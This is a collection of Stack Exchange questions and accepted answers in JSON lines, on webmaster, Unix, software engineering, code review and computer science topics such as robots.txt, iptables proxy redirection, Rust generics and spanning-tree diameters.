{  "id": "_webmaster.38099"  , "question": "I'm getting a warning when submitting my sitemap to webmaster tools it saying that my pages are blocked by robots.txt when they are not.  Has any one come across this or a way to resolve this before ?Here is the error message:Here is my robots.txt file:User-agent: *Disallow:Sitemap: http://mydomain.co.uk/sitemap.xml"  , "title": "Google Webmaster Tools is showing incorrect warnings - blocked by robots.txt"  , "tags": "google search console;robots.txt"  , "accepted_answer": "Some times that warning means there is a meta noindex tag on your site not just robots.txt blocking the robots. Go to your website and view the source code in a private browser session. Are you using any CMS such as WordPress or another?Also if you've made changes to allow robots it can take hours or up to 48 hours for Google to recognize the changes and successfully crawl and access your sitemap. You can go to Health on the sidebar in Google webmaster tools and fetch as Googlebot it'll probably give you the same error no matter what page you try and access."  } 
{  "id": "_softwareengineering.263644"  , "question": "(I am currently using groovy but it should apply to most OO languages so I also put the langauge-agnostic tag)I try to program in a function style which also includes method chaining and avoiding variables. Therefore I often find myself writing code with the with method in groovy that every object has. It works likes this:someobject.doSomething().doEvenMore() //this results in an object that I need check for some condition, e.g. a String.with { String result ->    if (result != I AM A CORRECT RESULT)        throw new Exception(assertion failed)    else        return result  //need to do this because else the closure will return null}.doAnotherThingOnTheResult()//and so on(See also https://codereview.stackexchange.com/questions/57676/better-way-to-assert-correct-return-values-in-groovy for a real life example I asked some time ago)This is rather unconcise so I was searching for a better way to check for conditions without using to have with. I came up with an idea I would like to hear your opinions to.That is, an method that all objects have and that can be used like this:someobject.doSomething().doEvenMore() //this results in an object that I need check for some condition, e.g. a String.assertTrue (new Exception(custom exception)) { it == I AM A CORRECT RESULT }.doAnotherThingOnTheResult()//and so onor for default behaviour with a default exception typesomeobject.doSomething().doEvenMore() //this results in an object that I need check for some condition, e.g. a String.assertTrue { it == I AM A CORRECT RESULT } //results in AssertionException or sth similiar.doAnotherThingOnTheResult()//and so onIn groovy I can make it that every (new) created object is decorated with such a method. What do you guys think about it? Are there better ways or should I stay with the with method?"  , "title": "Method for all objects for checking conditions which also includes method chaining and avoiding variables"  , "tags": "language agnostic;clean code;groovy;meta programming;method chaining"  , "accepted_answer": "First, I think it is a good idea to refactor the with part into its own function. It makes IMHO the code easier to read, and it corresponds to the Single Level of Abstraction principle, which is one characteristic of clean code. Second, if it is a good idea to decorate every class of your program with this additional method, depends. I would do this only if you need this function all over your whole program, in many classes. Otherwise, I would restrict it to the classes which really use the method. This helps to avoid unintentional naming collisions."  } 
{  "id": "_codereview.101234"  , "question": "I made a commandline tool for renaming files, similar to the rename command in Ubuntu. Here is the code:import scala.collection.mutable.Mapobject Main extends App {  val usage =          |A commandline tool for renaming files (written in Scala)      |      |Usage:      |      |  screname [-a] [-t] -s search_pattern -r replace_pattern filenames      |      |Type screname and return to print this message.    .stripMargin  // Print usage and exit  def printHelpExit() = {    println(usage)    System.exit(0)  }  if (args.length == 0) {    printHelpExit()  }  val arglist = args.toList  type OptionMap = Map[Symbol, Any]  // Is the arg a switch?  def isSwitch(s: String) = (s(0) == '-')  // Function for parse args  def nextOption(map: OptionMap, list: List[String]): OptionMap = {    list match {      // List is exhausted      case Nil => map      case -a :: tail => {        nextOption(map ++ Map('replaceAll -> true), tail)      }      case -t :: tail => {        nextOption(map ++ Map('testRun -> true), tail)      }      case -s :: searchPattern :: tail => {        if (map.contains('searchPattern)) throw new IllegalArgumentException(Only one search pattern allowed.)        nextOption(map ++ Map('searchPattern -> searchPattern), tail)      }      case -r :: replacePattern :: tail => {        if (map.contains('replacePattern)) throw new IllegalArgumentException(Only one replace pattern allowed)        nextOption(map ++ Map('replacePattern -> replacePattern), tail)      }      case filename :: tail => {        map.update('files, filename :: (map.getOrElse('files, List())).asInstanceOf[List[String]])        nextOption(map, tail)      }    }  }  val options = nextOption(Map(), arglist)  // Validate options  if (!options.contains('searchPattern)) throw new IllegalArgumentException(No search pattern provided)  if (!options.contains('replacePattern)) throw new IllegalArgumentException(No replace pattern provided)  if (options.getOrElse('files, List()).asInstanceOf[List[String]].size == 0) throw new IllegalArgumentException(No filenames provided)  // Rename  val fileRenamer = new FileRenameByPattern(options.getOrElse('files, List()).asInstanceOf[List[String]], options.getOrElse('searchPattern, ).asInstanceOf[String], options.getOrElse('replacePattern, ).asInstanceOf[String], options.getOrElse('replaceAll, false).asInstanceOf[Boolean])  if (options.getOrElse('testRun, false).asInstanceOf[Boolean]) {    fileRenamer.printFileNamePairs()  } else {    fileRenamer.rename();  }}import java.io.File/** * Created by IDEA on 17/08/15. */class FileRenameByPattern(val oldFileNames: List[String], val searchPattern: String, val replacePattern: String, val replaceAll: Boolean) {  val newFileNames = getNewFileNames()  def getNewFileNames(): List[String] = {    oldFileNames map {      (x: String) =>        if (replaceAll)          x.replaceAll(searchPattern, replacePattern)        else          x.replaceFirst(searchPattern, replacePattern)    }  }  def getFileNamePairs() = {    oldFileNames zip newFileNames  }  def rename(): List[Boolean] = {    rename(getFileNamePairs())  }  def rename(pairs: List[(String, String)]): List[Boolean] = {    pairs map {      case (o, n) => new File(o) renameTo new File(n)    }  }  def printFileNamePairs() = {    val w1 = oldFileNames.map(_.length).max    val w2 = newFileNames.map(_.length).max    getFileNamePairs() map {      case (s1, s2) => println(%%%ds %%%ds.format(w1, w2).format(s1, s2))    }  }}The -t option is for a dry run. I am thinking how to make it more extendable, like adding a sequence of numbers at the beginning, appending a date at the end, etc, but any suggestions on improvement are welcome. "  , "title": "A rename utility in Scala"  , "tags": "strings;scala;file system"  } 
{  "id": "_webmaster.47098"  , "question": "I have been hosting my site in a shared environment at http://www.example.com/MYSITE/ for a while and I've built up a following there, I have decent ranking in Google and Bing, as well as I've been using the Facebook comment plug-in to allow users to comment on specific pages like http://www.example.com/MYSITE/Items/Details/52434.I am moving to a dedicated server and the new version of the URLS listed above are http://www.example.com/ and http://www.example.com/Items/Details/52434 The site is an ASP.NET MVC site, I'd love to slam everything over, but I want anyone who goes to the old URLS to get sent to the right place. Is this something I can do with a web.config modification? I'd like to avoid a coding change if at all possible."  , "title": "I am moving my site from a virtual directory to a dedicated server, can I save me SEO urls via a web.config change?"  , "tags": "seo;redirects;url;301 redirect;asp.net mvc"  , "accepted_answer": "Ended up doing a url rewrite. Added this to my web.config file:<system.webServer>  <rewrite>    <rules>      <rule name=Rewrite to article.aspx>        <match url=^MYSITE/(.*)/(.*) />        <action type=Redirect url=/{R:1}/{R:2}/ />      </rule>    </rules>  </rewrite></system.webServer>So my uris are now correctly redirected."  } 
{  "id": "_webapps.21784"  , "question": "I really like this theme, and I'd like to use the Blogger platform rather than Tumblr.While Tumblr's theme are relatively easy to understand, trying to make sense of all the stuff that's going on in Blogger has proved difficult.Is there a step-by-step guide somewhere on how to convert an existing Tumblr theme to be used at Blogger?"  , "title": "Converting a Tumblr theme to a Blogger template"  , "tags": "tumblr;blogger;tumblr themes;blogger themes"  } 
{  "id": "_unix.48724"  , "question": "I'm trying to install SLIME on Fedora 17 so that I can do some lisp.Here is what I downloaded:http://www.common-lisp.net/project/slime/#downloadingThe CVS Snapshot link.I have a .emacs file:(add-to-list 'load-path ~/programming/slime/slime-2012-09-18)(setq inferior-lisp-program /usr/local/sbcl)(require 'slime)(slime-setup)When I start emacs --debug-init, I get the following message:Debugger entered--Lisp error: (file-error Cannot open load file slime)  require(slime)  eval-buffer(# nil /home/sam/.emacs.el nil t)  ; Reading at buffer position 159  load-with-code-conversion(/home/sam/.emacs.el /home/sam/.emacs.el t t)  load(~/.emacs t t)  #[0 \\205\\262What am I doing wrong ?"  , "title": "Installing slime and emacs"  , "tags": "fedora;emacs;debugging"  } 
{  "id": "_softwareengineering.332903"  , "question": "With hierarchical state machines, and their UML state chart counterparts, all the references I've found so far suggest that an active state must be a leaf state.I've looked at Samek, and papers that implement HFSMs in C++. Most suggest any transition to a composite (read parent) state must be followed by successive initial transitions to a leaf state.Firstly, is this in the definition? Given that these 'program by difference', surely a composite state could have all we need for an actual state!?"  , "title": "Must a hierarchical finite state machine only 'exist' in a leaf state?"  , "tags": "design patterns;c++;uml"  } 
{  "id": "_unix.306409"  , "question": "Kickstart gives two options to install the GRUB bootloader either on MBR or first sector of /boot partition.If we choose to install it on /boot partition then what would 512 bytes of MBR contain?"  , "title": "Difference between installing GRUB on MBR sector or first sector on boot partition?"  , "tags": "linux;debian;ubuntu;ext3"  } 
{  "id": "_unix.162663"  , "question": "I typed firefox -v in my console. The output wasfirefox -v(process:5516): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failedMozilla Firefox 33.0What is that failed assertion? Something serious?"  , "title": "What is the GLib-CRITICAL in Firefox?"  , "tags": "firefox"  } 
{  "id": "_softwareengineering.267333"  , "question": "I'm trying to make a service that's polymorphic based upon what mode is specified in the URL. If the char param in the route is set to 'p', I want to use a PresentMode service. If the char param is set to 'n', I want to use a NoteMode service. Each of these present the same interface, but I want to choose one at a time.So far the best solution I've come up with is something like this:var mod = angular.module('modeModule', []);mod.service('modeService', function($routeParams, presentMode, noteMode) {  if ($routeParams.char === 'p') {    this.mode = presentMode;  } else if ($routeParams.char === 'n') {    this.mode = noteMode;  }}mod.service('presentMode', function() {});mod.service('noteMode', function() {});This works, but it requires that I append .mode to the end of every access (eg modeService.mode.blah(). Is there a better way to do this?"  , "title": "How do I create a modal service with AngularJS?"  , "tags": "javascript;angularjs;service"  } 
{  "id": "_cstheory.32530"  , "question": "In theoretical physics, there is a branch of quantum field theory dealing with chiral gauge theories. It has been conjectured by Feynman [1] and others that all quantum field theories can be simulated in a limit computable manner efficiently on a quantum computer. However, there is the challenge of finding an efficient limit computable simulation of chiral gauge theories on a quantum computer. Does this problem lie within $\\mathsf{BQP}$? [1] Richard P. Feynman. Simulating Physics with Computers. International Journal of Theoretical Physics, Vol. 21, Nos. 6/7, 1982 "  , "title": "Does simulating chiral gauge theories lie within BQP?"  , "tags": "cc.complexity theory;complexity classes;quantum computing;quantum information;physics"  } 
{  "id": "_codereview.141464"  , "question": "A Z^m number system includes integers in the interval [0, m) when m > 0 or (m, 0] when m < 0. The code defines a trait Mod to represent numbers in this system and the +, -, and * operator for it. use std::ops::Add;use std::ops::Mul;use std::ops::Sub;use std::ops::Rem;struct Mod<T>    where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{    modulo: T,    i: T,}trait Modulo<T>    where T: Add<Output=T> + Rem<Output=T> + Copy + Clone{    fn modulo(self, n: T) -> T;}impl<T> Modulo<T> for T     where T: Add<Output=T> + Rem<Output=T> + Copy + Clone{    fn modulo(self, n: T) -> T {        ((self % n) + n) % n    }}impl<T> Mod<T>     where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{    fn new(modulo: T, i: T) -> Mod<T> {        let n = i.modulo(modulo);        Mod {            modulo: modulo,            i: n,        }    }}impl<T> Add for Mod<T>     where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{    type Output = Mod<T>;    fn add(self, other: Mod<T>) -> Mod<T> {        Mod::new(self.modulo, self.i + other.i)    }}impl<T> Sub for Mod<T>     where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{    type Output = Mod<T>;    fn sub(self, other: Mod<T>) -> Mod<T> {        Mod::new(self.modulo, self.i - other.i)    }}impl<T> Mul for Mod<T>     where T: Modulo<T> + Mul<Output=T> + Sub<Output=T> + Add<Output=T> + Rem<Output=T> + Copy + Clone{    type Output = Mod<T>;    fn mul(self, other: Mod<T>) -> Mod<T> {        Mod::new(self.modulo, self.i * other.i)    }}fn main() {    let x = Mod::new(-5i8, 3i8);    let y = Mod::new(-5i8, 8i8);    println!({}, (x + y).i);    let x = Mod::new(-5i8, 3i8);    let y = Mod::new(-5i8, 8i8);    println!({}, (x - y).i);    let x = Mod::new(-5i8, 3i8);    let y = Mod::new(-5i8, 8i8);    println!({}, (x * y).i);    let x = Mod::new(-5i16, 3i16);    let y = Mod::new(-5i16, 8i16);    println!({}, (x + y).i);    let x = Mod::new(-5i16, 3i16);    let y = Mod::new(-5i16, 8i16);    println!({}, (x - y).i);    let x = Mod::new(-5i16, 3i16);    let y = Mod::new(-5i16, 8i16);    println!({}, (x * y).i);    let x = Mod::new(-5, 3);    let y = Mod::new(-5, 8);    println!({}, (x + y).i);    let x = Mod::new(-5, 3);    let y = Mod::new(-5, 8);    println!({}, (x - y).i);    let x = Mod::new(-5, 3);    let y = Mod::new(-5, 8);    println!({}, (x * y).i);    let x = Mod::new(5u8, 3u8);    let y = Mod::new(5u8, 8u8);    println!({}, (x + y).i);    let x = Mod::new(5u8, 3u8);    let y = Mod::new(5u8, 8u8);    println!({}, (x - y).i);    let x = Mod::new(5u8, 3u8);    let y = Mod::new(5u8, 8u8);    println!({}, (x * y).i);}I tried to achieve the goals laid out in the previous version:Changed the modulo method for better performance. Generalized over a bunch of types other than i32.All suggestions are still welcome. In particular, requiring T to implement Copy and Clone might be a bit too restrictive, I would like to relax that. "  , "title": "Z^m number system in Rust version 2"  , "tags": "rust"  , "accepted_answer": "Place multiple imports from the same module on one line.I would heartily recommend against interleaving a trait definition (Modulo) and a struct definition (Mod).I prefer to not put trait bounds on the trait definition. Those usually want to be a supertrait or just on a trait implementation.Similarly, I prefer not put trait bounds on a struct definition; just on  on implementation.There's no need for the Clone bound  it's never used.I'd make your new operator trait match others: Parameterize the right-hand side (Rhs) and the Output as an associated type.Then you can DRY up your duplicated trait bounds by creating a new trait that has all the other traits as a supertrait.While you are at it, remove the type parameter T  because you always use it in the same fashion; it might as well be hardcoded.Place a space around = when restricting associated types in traits.There's no need for the temp var in the Mod constructor.Tests. TESTS. TESTS You are so close to already having tests! Your main function can be basically transformed into a sequence of tests. Then the computer can verify them, instead of having to read the output each time. Please give them useful names that describe what each tests, not my stupid sequential names.use std::ops::{Add, Mul, Sub, Rem};trait Modulo<Rhs = Self> {    type Output;    fn modulo(self, n: Rhs) -> Self::Output;}impl<T> Modulo<T> for T    where T: Add<Output = T> + Rem<Output = T> + Copy{    type Output = T;    fn modulo(self, n: T) -> T {        ((self % n) + n) % n    }}trait ZMod: Modulo<Output = Self> + Mul<Output = Self> + Sub<Output = Self> + Add<Output = Self> + Rem<Output = Self> + Copy {}impl<T> ZMod for T    where T: Modulo<Output = T> + Mul<Output = T> + Sub<Output = T> + Add<Output = T> + Rem<Output = T> + Copy{}struct Mod<T> {    modulo: T,    i: T,}impl<T> Mod<T>    where T: ZMod{    fn new(modulo: T, i: T) -> Mod<T> {        Mod {            modulo: modulo,            i: i.modulo(modulo),        }    }}impl<T> Add for Mod<T>    where T: ZMod{    type Output = Mod<T>;    fn add(self, other: Mod<T>) -> Mod<T> {        Mod::new(self.modulo, self.i + other.i)    }}impl<T> Sub for Mod<T>    where T: ZMod{    type Output = Mod<T>;    fn sub(self, other: Mod<T>) -> Mod<T> {        Mod::new(self.modulo, self.i - other.i)    }}impl<T> Mul for Mod<T>    where T: ZMod{    type Output = Mod<T>;    fn mul(self, other: Mod<T>) -> Mod<T> {        Mod::new(self.modulo, self.i * other.i)    }}#[test]fn t0() {    let x = Mod::new(-5i8, 3i8);    let y = Mod::new(-5i8, 8i8);    assert_eq!(-4, (x + y).i);}#[test]fn t1() {    let x = Mod::new(-5i8, 3i8);    let y = Mod::new(-5i8, 8i8);    assert_eq!(-4, (x + y).i);}#[test]fn t2() {    let x = Mod::new(-5i8, 3i8);    let y = Mod::new(-5i8, 8i8);    assert_eq!(0, (x - y).i);}#[test]fn t3() {    let x = Mod::new(-5i8, 3i8);    let y = Mod::new(-5i8, 8i8);    assert_eq!(-1, (x * y).i);}#[test]fn t4() {    let x = Mod::new(-5i16, 3i16);    let y = Mod::new(-5i16, 8i16);    assert_eq!(-4, (x + y).i);}#[test]fn t5() {    let x = Mod::new(-5i16, 3i16);    let y = Mod::new(-5i16, 8i16);    assert_eq!(0, (x - y).i);}#[test]fn t6() {    let x = Mod::new(-5i16, 3i16);    let y = Mod::new(-5i16, 8i16);    assert_eq!(-1, (x * y).i);}#[test]fn t7() {    let x = Mod::new(-5, 3);    let y = Mod::new(-5, 8);    assert_eq!(-4, (x + y).i);}#[test]fn t8() {    let x = Mod::new(-5, 3);    let y = Mod::new(-5, 8);    assert_eq!(0, (x - y).i);}#[test]fn t9() {    let x = Mod::new(-5, 3);    let y = Mod::new(-5, 8);    assert_eq!(-1, (x * y).i);}#[test]fn t10() {    let x = Mod::new(5u8, 3u8);    let y = Mod::new(5u8, 8u8);    assert_eq!(1, (x + y).i);}#[test]fn t11() {    let x = Mod::new(5u8, 3u8);    let y = Mod::new(5u8, 8u8);    assert_eq!(0, (x - y).i);}#[test]fn t12() {    let x = Mod::new(5u8, 3u8);    let y = Mod::new(5u8, 8u8);    assert_eq!(4, (x * y).i);}"  } 
{  "id": "_webmaster.57953"  , "question": "I want to use CSS display table in place of JS for vertical-alignment and equal heights of HTML elements, however I'm not sure if there are any SEO implications of this, will crawlers try and interpret the contents of elements displayed in this way as tabular data or will they ignore it and interpret it as normal content?"  , "title": "CSS Display Table, any SEO implications?"  , "tags": "seo;css;table"  } 
{  "id": "_unix.282400"  , "question": "I'm in the middle of writing a script to automate configuring MySQL replication between two servers (Master/Master replication), and was looking for some advice on a few things related to MySQL. The goal is to basically allow the same script to be executed on both servers (probably just prompting for the IP of the other master server), and have it completely configure MySQL. Most of it is pretty easy, but a few of the configuration values are unique to the server. The servers are pretty much identical (including MySQL credentials)The /etc/my.cnf file has two settings that are unique to the server, there's a server-id and an auto-increment-offset. Does the server-id need to start at any order or be consecutive? Because if not, then I was just going to grab the numeric value from the servers hostname (it's something like appdb-stg-m01, so I could grab the 01, or whatever number, since that will be unique), or even the last octet in the servers IP address... Would that suffice?Then for the auto-increment-offset, can this not be set the same on both servers? I have it set at 1 on the first master, then 2 on the other. I got those values from some online tutorials, but they didn't explain why they were different.Then for the values used in the CHANGE MASTER TO command... It needs the MASTER_LOG_FILE and the MASTER_LOG_POS...We can assume that these servers are relatively new, with no existing databases on them. So I was thinking that just resetting the MASTER_LOG_FILE to mysql-bin.000001 would suffice, but then id need to delete the other mysql-bin.? from /var/lib/mysql, as well as from /var/lib/mysql/mysql-bin.index. Would that suffice?The only other setting that I'm somewhat hung up on would be the MASTER_LOG_POS... Is there a way to set that myself? I'm trying to make this as least complicated as possible, so connecting to the other mysql server and looking at the output of SHOW MASTER STATUS is something id like to stay away from. Is there a way instead to reset it to 313?Thanks!"  , "title": "Automating Master/Master replication setup and configuration on two servers"  , "tags": "centos;mysql;mariadb;replication"  } 
{  "id": "_unix.339890"  , "question": "I have CentOS 7 on an OpenVZ VPS running OpenVPN, Privoxy, and CSF.When redirecting OpenVPN's web traffic to Privoxy, with my current configuration, I can't reach the internet. From my csfpre.sh:iptables -A FORWARD -s 172.27.1.0/24 -j ACCEPTiptables -A FORWARD -i as0t0 -o venet0:0 -m state --state RELATED,ESTABLISHED -j ACCEPTiptables -A FORWARD -i venet0:0 -o as0t0 -m state --state RELATED,ESTABLISHED -j ACCEPTiptables -t nat -A PREROUTING -i as0t0 -p tcp -m multiport --dports 80,443 -j REDIRECT --to-ports 8118iptables -t nat -A POSTROUTING -s 172.27.1.0/24 -o venet0:0 -j MASQUERADEiptables -A OUTPUT -o as0t0 -j ACCEPTWhen I comment out the REDIRECT line, I can reach the internet while connected via OpenVPN.I would like to redirect OpenVPN's web traffic to Privoxy and still be able to reach the internet.Update: I removed the 443 port redirection so the REDIRECT line is now:iptables -t nat -A PREROUTING -i as0t0 -p tcp --dport 80 -j REDIRECT --to-port 8118This FIXED the issue!"  , "title": "When connected via OpenVPN to my VPS, how can I redirect web traffic to Privoxy"  , "tags": "openvpn;privoxy"  , "accepted_answer": "To my recollection, Privoxy does not support https protocol in intercepting mode. You can definitely intercept the unencrypted traffic. Probably you would have checked out following things. Can yo confirm the same?Ensure Privoxy is working. You can comment out the REDIRECT in iptables and configure your browser to use the proxy manually. If you can browse, your Privoxy installation is working correctly.Make sure you have the following entry in Privoxy configuration file.accept-intercepted-requests 1"  } 
{  "id": "_unix.239493"  , "question": "Debian has a cronjob /etc/cron.d/mdadm that starts a raid check (& resync?). It costs a lot of IO and can take up to 96 hours on 3TB disks. At this time the performance of the service will go really down.My question is: As far as I know, Linux will immediately restore the failed RAID. Is it really necessary to run this check? If so, why?"  , "title": "Soft raid1 schedule resync"  , "tags": "debian;cron;raid;software raid"  , "accepted_answer": "No, it's not really necessary.  I used to disable it on most systems.It can, however, be useful.  Linux mdadm RAID will only detect errors that occur while the RAID filesystem is being read or written to.  This mdadm raid check cron job, just causes the entire raid array to be read so that read errors can be detected.In a similar fashion, both btrfs and zfs have a scrub command to cause all of the data on them to be read....and reading data on those filesystems causes checksums to be verified, thus detecting any errors even on files that don't get accessed very often.  zfs scrub or btrfs scrub are usually run weekly or monthly from cron."  } 
{  "id": "_datascience.2494"  , "question": "I have 1-4 gram text data from wikipedia for 14 categories, which I am using for NE classification.I feed named entity from sentence to lucene indexer which searches named entity from these 14 categories. Issue I am facing is, for single entity I get multiple classes as a result with same score.like while search titanic, indexer gives this resultScore    - 11.23Title    - titanicCategory - BookScore    - 11.23Title    - titanicCategory - MovieScore    - 11.23Title    - titanicCategory - Productnow problem is which class to be considered?I already tried with classifiers (NB,ME in nltk,scikit learn), but as it consider each entity from dataset as feature, it works as indexer only.Why lucene?"  , "title": "What is the best practice to classify category of named entity in sentence"  , "tags": "machine learning;data mining;classification;nlp"  } 
{  "id": "_unix.118254"  , "question": "I would like to understand if my below scenarios are possible in Heartbeat in Linux. Setup: Two Database Servers running Mysql in Active/Passive mode in replication mode having Heartbeat setup for HA or failover mechanism. Application connects to DB using VIP that is started at the time of Heartbeat.Failover VIP to passive site if primary Mysql intance is shut down.Bring down the heartbeat in primary if the role has been given to passive/secondary site inorder to avoid split brain."  , "title": "Linux Heartbeat options possibilities"  , "tags": "linux;mysql"  } 
{  "id": "_softwareengineering.112383"  , "question": "In the book Hard Code by Eric Brechner, he states, Lying is one of a handful of valuable process canaries that can warn  you of trouble.I've heard a dev or two toss around the old canary.  What is it?  [Google didn't answer it for me.  Perhaps my keywords were a poor choice.]"  , "title": "What is a Process Canary"  , "tags": "terminology"  , "accepted_answer": "Canaries were once used in coal mines to find out if any poisonous gasses were around (the canary would die - the miners would get out). It was much safer than an open flame.One assumes in this context that if there is much lying, the process is poisonous."  } 
{  "id": "_unix.342655"  , "question": "I am currently working with HASYv2 dataset which contains the hasy-data directory with 168.233 images of size 32px x 32px. I just wanted to copy that directory with Caja, but I skipped this after about 5 minutes (and Ubuntu told me it would take another 10 minutes).Copying the files with cp -a source_dir target_dir took less than 9 seconds.However, creating a tar.bz2 archive, copying the archive, extracting the files was done within about 15 seconds (everything combined).Why is that the case?(Side questions: When I press Ctrl+C, Ctrl+V to copy files within Caja the copying process is started by Caja, right? Does it make sense to internally use a similar procedure if many files are about to be copied?)"  , "title": "Why is copying many files with Caja much slower than compressing+copying+uncompressing?"  , "tags": "filesystems;file copy;compression;caja"  } 
{  "id": "_cs.64791"  , "question": "The diameter-constrained Minimum Spanning Tree (MST) problem is as follows: you have a undirected weighted graph $G = (V,E)$ of different weights where $V$ is the set of vertices and $E$ is the set of edges between vertices, and a constant $d$. The goal is to find an MST such that the diameter (i.e., the maximum distance of the shortest paths between vertices) of the MST is at most $d$. My question is that I am debating whether the following is true or not: Once you have an MST of a graph $G$, if the diameter of the MST is $>d$, then is it true to say that there exist no feasible solution. Also, once you have a MST of $G$, then is the diameter of that MST the maximum diameter of $G$? or minimum? or what could be said about the diameter of a MST?  "  , "title": "Diameter-constrained Minimum Spanning Tree Problem"  , "tags": "graphs;graph theory;weighted graphs;spanning trees;minimum spanning tree"  , "accepted_answer": "There is no direct relationship between the diameter of a (minimum) spanning tree and the total cost of the tree1. Consider the following example:The spanning tree on the left (whose edges are highlighted in red) is minimum. Its total cost is 7 and the diameter is equal to 5. In contrast, the spanning tree on the right is not minimum (since its total cost is 12), but it has a smaller diameter: 4.The same situation may occur when two spanning trees are minimum, as suggested by Yuval. Consider the following example (for the complete graph $K_4$):In this case, the total cost of the two Minimum Spanning Trees (MST) is 3; however, the MST on the left has a diameter that is equal to 3, while the MST on the right has a smaller diameter: 2.This counter-example disproves your assumption:It is, indeed, possible to find two different MSTs $T$ and $T'$ whose diameters are $\\gt d$ and $\\leq d$, respectively, within the same weighted undirected graph $G$.1. Note that Minimum-Diameter Spanning Trees (MDST) can be found in polynomial time, but the problem becomes NP-Hard when we also want the MDST to be minimum (i.e., when we want the total cost of the tree to be minimized)."  } 
{  "id": "_unix.299030"  , "question": "I have a human written text file that contains time stamps in form of dd-mm-yyyy,HH:MM or HH:MM:SS. I have managed to extract time stamps from text file using regex but I would like to also get a line of corresponding time stamp. It would be nice to have time stamps in one file and corresponding lines in the other. There could be multiple time stamps per line so same line should occur multiple times.If this can be done, what if I want only few words or few lines around a time stamp. Idea is just to get time stamps and their context extracted.For now I have been using matlab for this, but any *nix tool will do.Edit: seems to be that not all tools will do. I'm using mac and sometimes portable git bash for windows. At least mac's grep doesn't support anymore -P options for perl regex which is apparently needed for look around (?<![0-9])Here is example of original file and desired outputs:original:L&L logfile14-5-1216-05-2012Experiment 1Device 77212-123-123123Instrument 2, 34g, 66hzNotes:Something weird happened 12:34Everything is fine 13:07Log8:00 routine 18:20 routine 28:40 routine 3, 8:45 something went south8:50 routine 4, 8:50:12 weird peak at dataoutput1:14-5-1216-05-201212:3413:078:008:208:408:458:508:50:12output2:14-5-1216-05-2012Something weird happened 12:34Everything is fine 13:078:00 routine 18:20 routine 28:40 routine 3, 8:45 something went south8:40 routine 3, 8:45 something went south8:50 routine 4, 8:50:12 weird peak at data8:50 routine 4, 8:50:12 weird peak at data"  , "title": "Regex for time stamps and corresponding lines"  , "tags": "text processing;regular expression"  } 
{  "id": "_unix.237036"  , "question": "I did a clean Ubuntu install on a Lenovo Ideapad P500.  The backlight started okay, but after pressing the keyboard light function once, it got reset to a very dark state.  The brightness setting wasn't adjustable then, even after restarting the system.  I found a partial fix that involved changing a setting in /etc/default/grub; specifically, I added acpi_osi=Linux acpi_backlight=vendor in the variable GRUB_CMDLINE_LINUX_DEFAULT.  But this is only a partial fix because it selects a zero-brightness level at startup, and it also turns the brightness off when selecting the max level.  This is an annoyance. I discovered that this behavior is independent of Ubuntu, since something similar happened when I installed OpenSUSE in dual boot;  and I also found similar posts that were related to different Lenovo laptops.  My question is if this has to do with the Linux kernel, and/or if I have to update the drivers?  If so, how can I fix this?Let me know if I can provide more details to fix this.  Thanks for helping out."  , "title": "Backlight control configuration misbehaves on an Ideapad."  , "tags": "linux kernel;grub;backlight"  } 
{  "id": "_unix.332448"  , "question": "I recently started using Awesome WM (on Debian), so I apologize if this is a newbie question. I'm using the default awesome theme. One thing I really like is how notifications are handled for pidgin - when a new message comes in the tag label (in the upper left of the screen, on the top bar) turns red.Is there a way I could make Icedove have the same kind of notifications? I would especially like the tag label to turn red when a new unread message arrives in the inbox. Right now I set my Icedove preferences to show an alert, but this only generates a notification box in the lower right of the screen. Update: Installing the New Mail Attention add-on for Thunderbird adds the red color notifications!"  , "title": "Awesome WM: Change Tag Label Color for Notifications?"  , "tags": "awesome"  } 
{  "id": "_webmaster.30114"  , "question": "I have a WP 3.3.2 site and i use the google analytics code.Though everything seems ok with the results i get there is an error.All visitors drop off after homepage.You can check the image here.! http://imgur.com/shyNXI change position of the GA code and from just before < / body> i moved it to just before < / head> and now i use a wordpress plugin for this work.Still nothing changes."  , "title": "100% visitors drop off after home"  , "tags": "google analytics;analytics"  } 
{  "id": "_cs.9221"  , "question": "Just a basic question to askDoes the write through cache copies the whole block or just the byte which is updated?I went through the following questionArray A contains 256 elements of 4 bytes each. Its first element is stored at physical address 4096.Array B contains 512 elements of 4 bytes each. Its first element is stored at physical address 8192. Assume that only arrays A and B can be cached in an initially empty, physically addressed, physically tagged, direct mapped, 2K-byte cache with an 8 byte block size. The following loop is the executedfor(i=0; i<256; i++)A[i] = A[i] + B[2*i];How many bytes will be written to memory if the cache has a write-through policy?I calculated it as follows:The cache can store the whole array with 2 elements per block (block size = 8bytes, element size = 4bytes). For every write, the whole block will be copied. For $0^{th}$ element, the block containing $0^{th}$ and $1^{st}$ element would be written. The same would be done for $1^{st}$ element as well.So, for every iteration the 2 elements would be written. This makes the number of bytes as $256*2* (4bytes / element) = 2048bytes$.But in the solution, they have just calculated the number of loop iterations ($256$) multiplied by the element size ($4byte$) which makes the answer $1024bytes$.If this is true, then the cache would update only the updated byte (not the whole block). Which is correct?"  , "title": "Does the write through cache copies the whole block or just the byte which is updated?"  , "tags": "computer architecture;cpu cache"  , "accepted_answer": "The caching strategies could be very domain specific like efficient data caching for numerical data structure, graph data structures and algorithms, bio-informatics data structure, etc.. This is a nice Ph.D thesis about it: Cache-efficient Algorithms and Data Structures: Theory and Experimental EvaluationFor your specific program I think it will cache whole block of memory not only the specific data in array. It uses a general cache strategy. See Cache algorithms on Wikipedia. "  } 
